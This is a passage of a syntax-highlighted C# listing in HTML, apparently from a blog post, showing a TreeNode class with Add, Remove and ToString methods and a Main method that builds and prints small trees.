<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> node<span style="font-weight: bold; color: #8080c0">.</span>Children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(n);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent<span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> node<span style="font-weight: bold; color: #8080c0">.</span>Children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent<span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(n);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Remove(<span style="font-weight: bold; color: #2b91af">TreeNode</span> node)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Remove(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>ID <span style="font-weight: bold; color: #8080c0">=</span> _children[<span style="color: teal">0</span>]<span style="font-weight: bold; color: #8080c0">.</span>ID;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _children<span style="font-weight: bold; color: #8080c0">.</span>RemoveAt(<span style="color: teal">0</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">override</span> <span style="font-weight: bold; color: blue">string</span> ToString()</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">StringBuilder</span> sb <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">StringBuilder</span>();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_parent <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(<span style="font-weight: bold; color: blue">string</span><span style="font-weight: bold; color: #8080c0">.</span>Format(<span style="font-weight: bold; color: #a31515">&quot;({0});&quot;</span>, _ID));</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(n<span style="font-weight: bold; color: #8080c0">.</span>ToString());</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(<span style="font-weight: bold; color: blue">string</span><span style="font-weight: bold; color: #8080c0">.</span>Format(<span style="font-weight: bold; color: #a31515">&quot;{0};&quot;</span>, _ID));</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(n<span style="font-weight: bold; color: #8080c0">.</span>ToString());</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> sb<span style="font-weight: bold; color: #8080c0">.</span>ToString();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">class</span> <span style="font-weight: bold; color: #2b91af">Program</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">static</span> <span style="font-weight: bold; color: blue">void</span> Main(<span style="font-weight: bold; color: blue">string</span>[] args)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n1 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t1&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n2 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t2&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n3 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t3&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n4 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t4&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n5 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t5&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n6 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t6&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t1 <span style="font-weight: bold; color: #8080c0">=</span> n1<span style="font-weight: bold; color: #8080c0">.</span>Add(n2)<span style="font-weight: bold; color: #8080c0">.</span>Add(n3);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t1);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t2 <span style="font-weight: bold; color: #8080c0">=</span> n4<span style="font-weight: bold; color: #8080c0">.</span>Add(n5)<span style="font-weight: bold; color: #8080c0">.</span>Add(n6);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t2);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t3 <span style="font-weight: bold; color: #8080c0">=</span> t1<span style="font-weight: bold; color: #8080c0">.</span>Add(t2);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t3);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t4 <span style="font-weight: bold; color: #8080c0">=</span> t3<span style="font-weight: bold; color: #8080c0">.</span>Remove(n4);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t4);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t5 <span style="font-weight: bold; color: #8080c0">=</span> t4<span style="font-weight: bold; color: #8080c0">.</span>Remove(n1);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t5);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
